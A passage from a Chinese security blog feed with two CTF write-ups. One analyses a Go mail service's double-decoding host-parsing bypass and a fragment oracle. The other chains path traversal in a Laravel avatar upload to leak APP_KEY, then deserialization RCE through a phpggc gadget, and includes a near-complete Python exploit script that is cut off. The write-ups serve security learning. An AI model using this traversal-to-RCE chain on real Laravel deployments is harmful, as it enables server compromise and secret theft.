		return normalizedReference{}, false
	}
	path := &quot;/&quot;
	authority := rest
	if i := strings.IndexByte(rest, &apos;/&apos;); i &amp;gt;= 0 {
		authority = rest[:i]
		path = rest[i:]
	}
	authority, compat := canonicalizeEdgeAuthority(authority)
	if authority == &quot;&quot; {
		return normalizedReference{}, false
	}
	return normalizedReference{
		Source:    raw,
		Scheme:    scheme,
		Authority: authority,
		Path:      normalizeReferencePath(path),
		Compat:    compat,
	}, true
}

func normalizeDeliveryReference(raw string) (normalizedReference, bool) {
	parsed, err := url.Parse(strings.TrimSpace(raw))
	if err != nil {
		return normalizedReference{}, false
	}
	scheme := NormalizeValue(parsed.Scheme)
	if scheme == &quot;&quot; {
		return normalizedReference{}, false
	}
	authority := NormalizeValue(parsed.Hostname())
	path := parsed.EscapedPath()
	if path == &quot;&quot; {
		path = parsed.Path
	}
	return normalizedReference{
		Source:    parsed.String(),
		Scheme:    scheme,
		Authority: authority,
		Path:      normalizeReferencePath(path),
	}, true
}

func normalizeReferencePath(path string) string {
	path = strings.TrimSpace(path)
	path, _, _ = strings.Cut(path, &quot;#&quot;)
	path, _, _ = strings.Cut(path, &quot;?&quot;)
	if path == &quot;&quot; {
		return &quot;/&quot;
	}
	return path
}

func referenceKey(scheme, authority, path string) string {
	scheme = NormalizeValue(scheme)
	path = normalizeReferencePath(path)
	if scheme == &quot;&quot; || path == &quot;&quot; {
		return &quot;&quot;
	}
	return fnvHex(fmt.Sprintf(&quot;%s|%s|%s&quot;, scheme, NormalizeValue(authority), path))
}

func canonicalizeEdgeAuthority(raw string) (string, bool) {
	raw = strings.TrimSpace(raw)
	if i := strings.LastIndex(raw, &quot;@&quot;); i &amp;gt;= 0 {
		raw = raw[i+1:]
	}
	decoded := collapseEscapedHost(raw)
	usedDecode := decoded != raw
	raw = strings.NewReplacer(&quot;。&quot;, &quot;.&quot;, &quot;．&quot;, &quot;.&quot;, &quot;｡&quot;, &quot;.&quot;).Replace(decoded)
	usedCompatDot := raw != decoded
	compat := false
	if i := strings.IndexByte(raw, &apos;[&apos;); i &amp;gt;= 0 {
		if usedDecode &amp;amp;&amp;amp; usedCompatDot &amp;amp;&amp;amp; i &amp;gt; 0 &amp;amp;&amp;amp; raw[i-1] == &apos;.&apos; {
			raw = raw[:i]
			compat = true
		}
	}
	if i := strings.IndexByte(raw, &apos;:&apos;); i &amp;gt;= 0 {
		raw = raw[:i]
	}
	raw = strings.TrimSpace(strings.TrimSuffix(raw, &quot;.&quot;))
	if raw == &quot;&quot; {
		return &quot;&quot;, false
	}
	ascii, err := idna.Lookup.ToASCII(strings.ToLower(raw))
	if err != nil {
		return &quot;&quot;, false
	}
	var b strings.Builder
	for _, r := range ascii {
		switch {
		case r &amp;gt;= &apos;a&apos; &amp;amp;&amp;amp; r &amp;lt;= &apos;z&apos;:
			b.WriteRune(r)
		case r &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; r &amp;lt;= &apos;9&apos;:
			b.WriteRune(r)
		case r == &apos;.&apos; || r == &apos;-&apos;:
			b.WriteRune(r)
		default:
			return &quot;&quot;, false
		}
	}
	return strings.Trim(b.String(), &quot;.&quot;), compat
}

func collapseEscapedHost(raw string) string {
	value := strings.TrimSpace(raw)
	for range 2 {
		decoded, err := url.PathUnescape(value)
		if err != nil || decoded == value {
			break
		}
		value = decoded
	}
	return value
}

func matchesSummaryPath(path string) bool {
	return strings.HasPrefix(path, &quot;/notes/&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最大问题出在这&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if deliveryRef.Authority == edgeRef.Authority {
	return &quot;&quot;, false
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;必须要求第二部分解析和第一部分不一样才会，正常来说逻辑应该是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if deliveryRef.Authority == edgeRef.Authority {
	return &quot;&quot;, false
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这就逆天了，个人认为是没活整了，这个解析差异完全就是暴漏了&lt;/p&gt;
&lt;p&gt;过于刻意了，对于ai来说，这个注意力是很明显的&lt;/p&gt;
&lt;p&gt;这里解码两次&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;decoded := collapseEscapedHost(raw)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func collapseEscapedHost(raw string) string {
	value := strings.TrimSpace(raw)
	for range 2 {
		decoded, err := url.PathUnescape(value)
		if err != nil || decoded == value {
			break
		}
		value = decoded
	}
	return value
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以 host 里如果塞了双重编码，例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;%255B
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一次解码后变 &lt;code&gt;%5B&lt;/code&gt;，
第二次再解码后变 &lt;code&gt;[&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;第二步：把全角点变成普通点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;raw = strings.NewReplacer(&quot;。&quot;, &quot;.&quot;, &quot;．&quot;, &quot;.&quot;, &quot;｡&quot;, &quot;.&quot;).Replace(decoded)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;比如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;brief.relaydesk.local。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;会变成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;brief.relaydesk.local.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第三步：如果出现 .[ 这种模式，就把 [ 后面全部砍掉&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if i := strings.IndexByte(raw, &apos;[&apos;); i &amp;gt;= 0 {
	if usedDecode &amp;amp;&amp;amp; usedCompatDot &amp;amp;&amp;amp; i &amp;gt; 0 &amp;amp;&amp;amp; raw[i-1] == &apos;.&apos; {
		raw = raw[:i]
		compat = true
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个条件很怪，意思大概是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这个 &lt;code&gt;[&lt;/code&gt; 是通过解码搞出来的&lt;/li&gt;
&lt;li&gt;又发生了全角点兼容替换&lt;/li&gt;
&lt;li&gt;而且 &lt;code&gt;[&lt;/code&gt; 前面正好是个 &lt;code&gt;.&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;那就把 host 截断到 &lt;code&gt;[&lt;/code&gt; 前面。&lt;/p&gt;
&lt;p&gt;这就相当于把：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;brief.relaydesk.local.[attacker.com]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;截成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;brief.relaydesk.local.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后再 &lt;code&gt;TrimSuffix(&quot;.&quot;,)&lt;/code&gt; 变成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;brief.relaydesk.local
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并且：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;compat = true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如此伪造一个可以通过检验的link到context中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;section class=&quot;message-summary&quot; data-layout=&quot;compact&quot;&amp;gt;
  &amp;lt;a class=&quot;summary-link&quot;
     href=&quot;链接&quot;
     data-mode=&quot;inline&quot;
     data-tags=&quot;summary,activity,notes&quot;
     data-thread-id=&quot;hello-world&quot;&amp;gt;
     open
  &amp;lt;/a&amp;gt;
&amp;lt;/section&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后admin的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func (s *server) handleRender(w http.ResponseWriter, r *http.Request) {
	messageID := r.URL.Path[len(&quot;/mail/render/&quot;):]
	tok := r.URL.Query().Get(&quot;token&quot;)
	var subj, bodyHTML, scriptCtx string
	err := s.db.QueryRowContext(r.Context(), `
		SELECT subject, body_html, automation_context
		FROM mail_messages
		WHERE id = $1 AND render_token = $2
	`, messageID, tok).Scan(&amp;amp;subj, &amp;amp;bodyHTML, &amp;amp;scriptCtx)
	if err != nil {
		http.Error(w, &quot;not found&quot;, http.StatusNotFound)
		return
	}
	var state clientState
	if err := json.Unmarshal([]byte(scriptCtx), &amp;amp;state); err != nil {
		state = clientState{}
	}
	stateJSON, err := json.Marshal(state)
	if err != nil {
		http.Error(w, &quot;render failed&quot;, http.StatusInternalServerError)
		return
	}
	nonce := scriptNonce()
	w.Header().Set(&quot;Content-Security-Policy&quot;, rendererCSP(nonce, state.PortalOrigin))
	w.Header().Set(&quot;Cross-Origin-Resource-Policy&quot;, &quot;same-origin&quot;)
	w.Header().Set(&quot;Permissions-Policy&quot;, &quot;geolocation=(), microphone=(), camera=(), payment=(), usb=()&quot;)
	w.Header().Set(&quot;Referrer-Policy&quot;, &quot;no-referrer&quot;)
	w.Header().Set(&quot;X-Content-Type-Options&quot;, &quot;nosniff&quot;)

	if err := s.tmpl.Execute(w, map[string]any{
		&quot;Subject&quot;:         subj,
		&quot;BodyHTML&quot;:        bodyHTML,
		&quot;ClientStateJSON&quot;: template.JS(string(stateJSON)),
		&quot;Nonce&quot;:           nonce,
	}); err != nil {
		http.Error(w, &quot;render failed&quot;, http.StatusInternalServerError)
		return
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并且在通信中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func (s *server) handleMailOpen(w http.ResponseWriter, r *http.Request) {
	setAdminSurfaceHeaders(w)
	messageID := chi.URLParam(r, &quot;messageID&quot;)
	sig := strings.TrimSpace(r.URL.Query().Get(&quot;sig&quot;))

	var ctxJSON string
	err := s.db.QueryRowContext(r.Context(), `
		SELECT m.automation_context
		FROM mail_messages m
		JOIN mail_inbox_items i ON i.mail_message_id = m.id
		JOIN users u ON u.id = i.mailbox_owner_id
		WHERE u.email = &apos;admin@relaydesk.local&apos;
		  AND m.id = $1
		ORDER BY i.created_at DESC
		LIMIT 1
	`, messageID).Scan(&amp;amp;ctxJSON)
	if err != nil {
		http.Error(w, &quot;not found&quot;, http.StatusNotFound)
		return
	}

	var ctx resumeContext
	if err := json.Unmarshal([]byte(ctxJSON), &amp;amp;ctx); err != nil {
		http.Error(w, &quot;invalid message context&quot;, http.StatusBadRequest)
		return
	}
	if ctx.Link == &quot;&quot; || !(strings.HasPrefix(ctx.Link, &quot;http://&quot;) || strings.HasPrefix(ctx.Link, &quot;https://&quot;)) {
		http.Error(w, &quot;invalid target&quot;, http.StatusBadRequest)
		return
	}
	if sig == &quot;&quot; || ctx.ResumePath == &quot;&quot; || ctx.ResumePath != handoff.ResumePath(messageID, sig) {
		http.Error(w, &quot;invalid open signature&quot;, http.StatusForbidden)
		return
	}
	visitToken := &quot;&quot;
	if ctx.ResumeRef != &quot;&quot; &amp;amp;&amp;amp; ctx.ResumeNonce != &quot;&quot; {
		visitToken, err = s.issueWorkspaceVisit(r.Context(), ctx.ResumeRef, ctx.ResumeNonce)
		if err != nil {
			http.Error(w, &quot;issue restore visit failed&quot;, http.StatusInternalServerError)
			return
		}
	}
	target, err := appendResumeRef(ctx.Link, ctx.ResumeRef, visitToken)
	if err != nil {
		http.Error(w, &quot;invalid target&quot;, http.StatusBadRequest)
		return
	}
	w.Header().Set(&quot;Content-Type&quot;, &quot;application/json&quot;)
	_ = json.NewEncoder(w).Encode(map[string]string{&quot;url&quot;: target})
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;renderer 模板里，当你控制的 iframe 页面发：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;parent.postMessage({ type: &apos;relaydesk:resume-ready&apos; }, &apos;*&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;renderer 就会通知父页面去打开：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ctx.resume_path
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一步作用在下面一步&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Archive struct {
	normalized string
	fragments  map[string]struct{}
}

const (
	archiveWindowSize = 4
	visitTokenBytes   = 12
)

func NewArchive(raw string) Archive {
	normalized := NormalizeQuery(raw)
	if normalized == &quot;&quot; {
		normalized = NormalizeQuery(&quot;analyst handoff record unavailable&quot;)
	}
	out := Archive{
		normalized: normalized,
		fragments:  map[string]struct{}{},
	}
	for start := 0; start+archiveWindowSize &amp;lt;= len(normalized); start++ {
		fragment := NormalizeQuery(normalized[start : start+archiveWindowSize])
		if fragment == &quot;&quot; {
			continue
		}
		out.fragments[fragment] = struct{}{}
	}
	return out
}

func NormalizeQuery(v string) string {
	v = strings.ToLower(strings.TrimSpace(v))
	if len(v) &amp;gt; 128 {
		return v[:128]
	}
	return v
}

func NormalizeBucket(v string) string {
	v = strings.ToLower(strings.TrimSpace(v))
	if len(v) &amp;gt; 40 {
		v = v[:40]
	}
	if v == &quot;&quot; {
		return &quot;&quot;
	}
	var b strings.Builder
	for _, r := range v {
		switch {
		case r &amp;gt;= &apos;a&apos; &amp;amp;&amp;amp; r &amp;lt;= &apos;z&apos;:
			b.WriteRune(r)
		case r &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; r &amp;lt;= &apos;9&apos;:
			b.WriteRune(r)
		case r == &apos;-&apos;:
			b.WriteRune(r)
		default:
			return &quot;&quot;
		}
	}
	return b.String()
}

func NormalizeRef(v string) string {
	v = strings.ToLower(strings.TrimSpace(v))
	if len(v) != 16 {
		return &quot;&quot;
	}
	for _, r := range v {
		switch {
		case r &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; r &amp;lt;= &apos;9&apos;:
		case r &amp;gt;= &apos;a&apos; &amp;amp;&amp;amp; r &amp;lt;= &apos;f&apos;:
		default:
			return &quot;&quot;
		}
	}
	return v
}

func NormalizeSlot(v string) string {
	v = strings.ToLower(strings.TrimSpace(strings.TrimSuffix(v, &quot;.js&quot;)))
	if len(v) != 8 {
		return &quot;&quot;
	}
	for _, r := range v {
		switch {
		case r &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; r &amp;lt;= &apos;9&apos;:
		case r &amp;gt;= &apos;a&apos; &amp;amp;&amp;amp; r &amp;lt;= &apos;f&apos;:
		default:
			return &quot;&quot;
		}
	}
	return v
}

func NormalizeVisitToken(v string) string {
	v = strings.ToLower(strings.TrimSpace(v))
	if len(v) != visitTokenBytes*2 {
		return &quot;&quot;
	}
	for _, r := range v {
		switch {
		case r &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; r &amp;lt;= &apos;9&apos;:
		case r &amp;gt;= &apos;a&apos; &amp;amp;&amp;amp; r &amp;lt;= &apos;f&apos;:
		default:
			return &quot;&quot;
		}
	}
	return v
}

func (a Archive) Snapshot(query string) (string, []map[string]string) {
	query = NormalizeQuery(query)
	rows := []map[string]string{
		{
			&quot;Title&quot;:  &quot;recent-workspace&quot;,
			&quot;Meta&quot;:   &quot;workspace search&quot;,
			&quot;Detail&quot;: &quot;Restored analyst workspaces are staged from compact cache bundles.&quot;,
		},
		{
			&quot;Title&quot;:  &quot;linked-activity&quot;,
			&quot;Meta&quot;:   &quot;workspace summary&quot;,
			&quot;Detail&quot;: &quot;Attached notes stay collapsed until a stored context bundle is rehydrated.&quot;,
		},
	}
	lead := &quot;Search cached analyst workspaces and reopen stored context bundles.&quot;
	if query == &quot;&quot; {
		return lead, rows
	}
	if a.HasFragment(query) {
		rows = append(rows, map[string]string{
			&quot;Title&quot;:  &quot;restorable-context&quot;,
			&quot;Meta&quot;:   &quot;detached note&quot;,
			&quot;Detail&quot;: &quot;A matching workspace fragment can be promoted from archived context.&quot;,
		})
	} else {
		rows = append(rows, map[string]string{
			&quot;Title&quot;:  &quot;restorable-context&quot;,
			&quot;Meta&quot;:   &quot;detached note&quot;,
			&quot;Detail&quot;: &quot;No archived context fragment matched the current workspace filter.&quot;,
		})
	}
	return lead, rows
}

func (a Archive) HasFragment(query string) bool {
	query = NormalizeQuery(query)
	if len(query) != archiveWindowSize {
		return false
	}
	_, ok := a.fragments[query]
	return ok
}

func AssetSlot(ref, query, bucket, visitToken string) string {
	ref = NormalizeRef(ref)
	query = NormalizeQuery(query)
	bucket = NormalizeBucket(bucket)
	visitToken = NormalizeVisitToken(visitToken)
	if ref == &quot;&quot; || query == &quot;&quot; || bucket == &quot;&quot; || visitToken == &quot;&quot; {
		return &quot;&quot;
	}
	h := fnv.New32a()
	_, _ = io.WriteString(h, ref)
	_, _ = io.WriteString(h, &quot;|&quot;)
	_, _ = io.WriteString(h, query)
	_, _ = io.WriteString(h, &quot;|&quot;)
	_, _ = io.WriteString(h, bucket)
	_, _ = io.WriteString(h, &quot;|&quot;)
	_, _ = io.WriteString(h, visitToken)
	return fmt.Sprintf(&quot;%08x&quot;, h.Sum32())
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;真正 flag 不在 zip 里，而是运行时 workspace context 文件里。&lt;/p&gt;
&lt;p&gt;服务启动时会用 workspace.NewArchive(raw)&lt;/p&gt;
&lt;p&gt;把这个字符串切成很多长度为 4 的片段，存进 fragments。&lt;/p&gt;
&lt;p&gt;然后 /mail/queue/resume/{resumeRef}?rv=...&amp;amp;q=....&lt;/p&gt;
&lt;p&gt;会用： lead, rows := s.archive.Snapshot(query) 返回两种文案之一： 命中：A matching workspace fragment can be promoted from archived context.&lt;/p&gt;
&lt;p&gt;不命中：No archived context fragment matched the current workspace filter.&lt;/p&gt;
&lt;p&gt;所以你拿到 wid/rv 后，就可以对 4 字符片段做 oracle。&lt;/p&gt;
&lt;p&gt;也就拿到了flag&lt;/p&gt;
&lt;p&gt;虽然如此，真的很想吐槽这种并没有太大实际作用的，跟完链子&lt;/p&gt;
&lt;p&gt;我只是想说，现在的CTF很多时候不同以往了&lt;/p&gt;
&lt;p&gt;单纯为了难而难，并且对于点的难也没有一个很好的指引&lt;/p&gt;
&lt;p&gt;现在我依然认为CTF是促进网络安全的学习的&lt;/p&gt;
&lt;p&gt;其中引人学习的成分是要大于其竞赛成分的&lt;/p&gt;
&lt;p&gt;如此以往，新生力量是否会愈发依赖AI，而不是自己跟原理&lt;/p&gt;
&lt;p&gt;让流逝的时间证明吧&lt;/p&gt;
&lt;p&gt;我依旧认为，有心的是人，而不是AI&lt;/p&gt;
&lt;p&gt;网络安全会永远存在。&lt;/p&gt;
</content:encoded></item><item><title>Laravel局部渗透的多重链追溯</title><link>https://ymsora.com/posts/%E5%88%9D%E8%AF%86laravel/</link><guid isPermaLink="true">https://ymsora.com/posts/%E5%88%9D%E8%AF%86laravel/</guid><description>水一水随笔</description><pubDate>Tue, 24 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Laravel局部渗透的多重链追溯&lt;/h1&gt;
&lt;p&gt;对于Laravel框架，接触还是有限，这里来审计一下，&lt;/p&gt;
&lt;p&gt;首先是目录结构，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/lar.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里严肃关注app下面和route，如果不关乎配置错误，那么这是最优解，&lt;/p&gt;
&lt;p&gt;因为在此框架的路由默认在routes/web.php中，所以先打点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Route::middleware([&apos;auth&apos;])-&amp;gt;group(function() {
    Route::get(&apos;/&apos;, [DashboardController::class, &apos;index&apos;])-&amp;gt;name(&apos;dashboard&apos;);
    Route::get(&apos;/account&apos;, [AccountController::class, &apos;index&apos;])-&amp;gt;name(&apos;account&apos;);
    Route::get(&apos;/mining&apos;, [MiningController::class, &apos;index&apos;])-&amp;gt;name(&apos;mining&apos;);
    Route::get(&apos;/vouchers&apos;, [VouchersController::class, &apos;index&apos;])-&amp;gt;name(&apos;vouchers&apos;);
    Route::get(&apos;/transactions&apos;, [TransactionsController::class, &apos;index&apos;])-&amp;gt;name(&apos;transactions&apos;);
    Route::get(&apos;/avatar&apos;, [AccountController::class, &apos;getAvatar&apos;]);

    Route::post(&apos;/account&apos;, [AccountController::class, &apos;update&apos;]);
    Route::post(&apos;/account/avatar&apos;, [AccountController::class, &apos;updateAvatar&apos;]);
    Route::post(&apos;/mining/collect&apos;, [MiningController::class, &apos;collect&apos;]);
    Route::post(&apos;/transactions&apos;, [TransactionsController::class, &apos;send&apos;]);
    Route::post(&apos;/vouchers&apos;, [VouchersController::class, &apos;create&apos;]);
    Route::post(&apos;/vouchers/redeem&apos;, [VouchersController::class, &apos;redeem&apos;]);
});

Route::get(&apos;/login&apos;, [AuthController::class, &apos;index&apos;])-&amp;gt;name(&apos;login&apos;);
Route::get(&apos;/register&apos;, [AuthController::class, &apos;index&apos;])-&amp;gt;name(&apos;register&apos;);
Route::get(&apos;/logout&apos;, [AuthController::class, &apos;index&apos;])-&amp;gt;name(&apos;logout&apos;);

Route::post(&apos;/login&apos;, [AuthController::class, &apos;auth&apos;]);
Route::post(&apos;/register&apos;, [AuthController::class, &apos;register&apos;]);

Route::delete(&apos;/logout&apos;, [AuthController::class, &apos;logout&apos;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到需要鉴权的接口还是很多的，并且这里我们先去看对于鉴权后的接口操作，&lt;/p&gt;
&lt;p&gt;因为并未进行严格admin分别鉴权，所以直接注册并无差异&lt;/p&gt;
&lt;p&gt;看到update&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    public function updateAvatar(Request $request)
    {
        $request-&amp;gt;validate([
            &apos;avatar&apos; =&amp;gt; &apos;required|image|max:2048&apos;
        ]);

        /** @var \App\Models\User $user */
        $user = Auth::user();
        
        if ($user-&amp;gt;avatar) {
            $previousPath = Storage::disk(&apos;public&apos;)-&amp;gt;path($user-&amp;gt;avatar);
            if (file_exists($previousPath))
                unlink($previousPath);
        }

        $name = $_FILES[&apos;avatar&apos;][&apos;full_path&apos;];
        $path = &quot;/var/www/storage/app/public/avatars/$name&quot;;
        $request-&amp;gt;file(&apos;avatar&apos;)-&amp;gt;storeAs(&apos;avatars&apos;, basename($name), &apos;public&apos;);

        $user-&amp;gt;avatar = $path;
        $user-&amp;gt;save();

        return redirect()-&amp;gt;back();
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这里写文件的路子经过了过滤，在storeAs函数中，basename直接会过滤路径穿越，&lt;/p&gt;
&lt;p&gt;但是可以看看path，这是完全没有过滤就将路径数据写入了user-&amp;gt;avatar&lt;/p&gt;
&lt;p&gt;看看哪里需要用这个到这个属性&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    public function getAvatar(Request $request)
    {
        $path = Auth::user()-&amp;gt;avatar;

        if (!$path)
            return response()-&amp;gt;json([&apos;error&apos; =&amp;gt; &apos;No avatar set.&apos;]);

        return response()-&amp;gt;file($path);
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这里每次请求都返回之前一样的path，那样我们就可以通过路径穿越读文件&lt;/p&gt;
&lt;p&gt;那样还没完，因为&lt;/p&gt;
&lt;p&gt;mv /tmp/flag.txt /$(openssl rand -hex 12)-flag.txt&lt;/p&gt;
&lt;p&gt;flag变成了hax字符串的文件名&lt;/p&gt;
&lt;p&gt;那样就没法直接进行读取了&lt;/p&gt;
&lt;p&gt;下一步找到了反序列的链&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    public function create(Request $request)
    {
        $data = $request-&amp;gt;validate([
            &apos;amount&apos; =&amp;gt; &apos;required|integer|min:1&apos;
        ]);

        /** @var \App\Models\User $user */
        $user = Auth::user();
        $amount = (int) $data[&apos;amount&apos;];

        if ($user-&amp;gt;balance &amp;lt; $amount) {
            return back()-&amp;gt;withErrors([
                &apos;amount&apos; =&amp;gt; &apos;Amount is greater than funds available.&apos;
            ]);
        }

        $user-&amp;gt;balance -= $amount;
        $user-&amp;gt;save();

        $voucher = encrypt([
            &apos;amount&apos; =&amp;gt; $amount,
            &apos;created_by&apos; =&amp;gt; $user-&amp;gt;uuid,
            &apos;created_at&apos; =&amp;gt; Carbon::now()
        ]);

        return back()-&amp;gt;with(&apos;voucher&apos;, $voucher);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这里接收的对象，一旦有了api_key就可以随意伪造，&lt;/p&gt;
&lt;p&gt;而api_key可以在上部分路径穿越读取&lt;/p&gt;
&lt;p&gt;并且，执行命令的不安全类是现成的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    cmd = &quot;sh -c &apos;cat /*-flag.txt &amp;gt; /var/www/public/pwn.txt&apos;&quot;
    serialized = run_phpggc(args.phpggc, &quot;Laravel/RCE22&quot;, cmd)
    voucher = laravel_encrypt_raw(serialized, key)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接将flag文件写入可读的位置即可&lt;/p&gt;
&lt;p&gt;POC:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import argparse
import base64
import hashlib
import hmac
import json
import os
import random
import re
import string
import subprocess
import sys
import urllib3

import requests
from Crypto.Cipher import AES


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def extract_csrf(html: str) -&amp;gt; str:
    m = re.search(r&apos;name=&quot;_token&quot;\s+value=&quot;([^&quot;]+)&quot;&apos;, html)
    if m:
        return m.group(1)
    m = re.search(r&apos;meta name=&quot;csrf-token&quot; content=&quot;([^&quot;]+)&quot;&apos;, html)
    if m:
        return m.group(1)
    raise RuntimeError(&quot;CSRF token not found&quot;)


def tiny_png() -&amp;gt; bytes:
    return (
        b&quot;\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01&quot;
        b&quot;\x08\x02\x00\x00\x00\x90wS\xde\x00\x00\x00\x0cIDATx\x9cc``\x00\x00&quot;
        b&quot;\x00\x02\x00\x01\xe2!\xbc3\x00\x00\x00\x00IEND\xaeB`\x82&quot;
    )


def laravel_encrypt_raw(serialized: str, key_bytes: bytes) -&amp;gt; str:
    iv = os.urandom(16)
    pt = serialized.encode()
    pad = 16 - (len(pt) % 16)
    pt += bytes([pad]) * pad
    ct = AES.new(key_bytes, AES.MODE_CBC, iv).encrypt(pt)

    iv_b64 = base64.b64encode(iv).decode()
    val_b64 = base64.b64encode(ct).decode()
    mac = hmac.new(key_bytes, (iv_b64 + val_b64).encode(), hashlib.sha256).hexdigest()
    payload = json.dumps(
        {&quot;iv&quot;: iv_b64, &quot;value&quot;: val_b64, &quot;mac&quot;: mac, &quot;tag&quot;: &quot;&quot;},
        separators=(&quot;,&quot;, &quot;:&quot;),
    )
    return base64.b64encode(payload.encode()).decode()


def run_phpggc(phpggc: str, chain: str, cmd: str) -&amp;gt; str:
    attempts = [
        [&quot;php&quot;, phpggc, chain, &quot;system&quot;, cmd],
        [&quot;php&quot;, phpggc, chain, cmd],
        [&quot;php&quot;, phpggc, &quot;-f&quot;, chain, &quot;system&quot;, cmd],
        [&quot;php&quot;, phpggc, &quot;-f&quot;, chain, cmd],
    ]
    for a in attempts:
        p = subprocess.run(a, capture_output=True, text=True)
        if p.returncode == 0 and p.stdout.strip():
            return p.stdout.strip()
    raise RuntimeError(f&quot;phpggc failed for {chain}&quot;)


def main():
    parser = argparse.ArgumentParser(description=&quot;TAMUctf vault exploit&quot;)
    parser.add_argument(
        &quot;--url&quot;,
        default=&quot;https://c52cafe9-55d4-4ef9-b255-345fcd8bab20.tamuctf.com&quot;,
        help=&quot;target base url&quot;,
    )
    parser.add_argument(
        &quot;--phpggc&quot;,
        default=&quot;phpggc/phpggc&quot;,
        help=&quot;path to phpggc entry script&quot;,
    )
    args = parser.parse_args()

    base = args.url.rstrip(&quot;/&quot;)
    s = requests.Session()
    s.verify = False

    username = &quot;u&quot; + &quot;&quot;.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
    password = &quot;Pass123456!&quot;

    # Register
    r = s.get(base + &quot;/register&quot;, timeout=15)
    csrf = extract_csrf(r.text)
    s.post(
        base + &quot;/register&quot;,
        data={&quot;_token&quot;: csrf, &quot;username&quot;: username, &quot;password&quot;: password, &quot;password2&quot;: password},
        timeout=15,
    )

    # Login
    r = s.get(base + &quot;/login&quot;, timeout=15)
    csrf = extract_csrf(r.text)
    s.post(
        base + &quot;/login&quot;,
        data={&quot;_token&quot;: csrf, &quot;username&quot;: username, &quot;password&quot;: password},
        timeout=15,
    )

    # LFI: upload valid PNG but crafted full_path -&amp;gt; ../../../../.env
    r = s.get(base + &quot;/account&quot;, timeout=15)
    csrf = extract_csrf(r.text)
    s.post(
        base + &quot;/account/avatar&quot;,
        data={&quot;_token&quot;: csrf},
        files={&quot;avatar&quot;: (&quot;../../../../.env&quot;, tiny_png(), &quot;image/png&quot;)},
        timeout=15,
    )
    env_text = s.get(base + &quot;/avatar&quot;, timeout=15).text
    m = re.search(r&quot;^APP_KEY=(.+)$&quot;, env_text, flags=re.M)
    if not m:
        print(&quot;[-] APP_KEY not found from /avatar&quot;)
        sys.exit(1)
    app_key = m.group(1).strip()
    key = base64.b64decode(app_key.split(&quot;:&quot;, 1)[1])
    print(f&quot;[+] APP_KEY: {app_key}&quot;)

    # Build gadget payload, then encrypt as Laravel token for decrypt()
    cmd = &quot;sh -c &apos;cat /*-flag.txt &amp;gt; /var/www/public/pwn.txt&apos;&quot;
    serialized = run_phpggc(args.phpggc, &quot;Laravel/RCE22&quot;, cmd)
    voucher = laravel_encrypt_raw(serialized, key)

    # Trigger gadget via vouchers/redeem
    r = s.get(base + &quot;/vouchers&quot;, timeout=15)
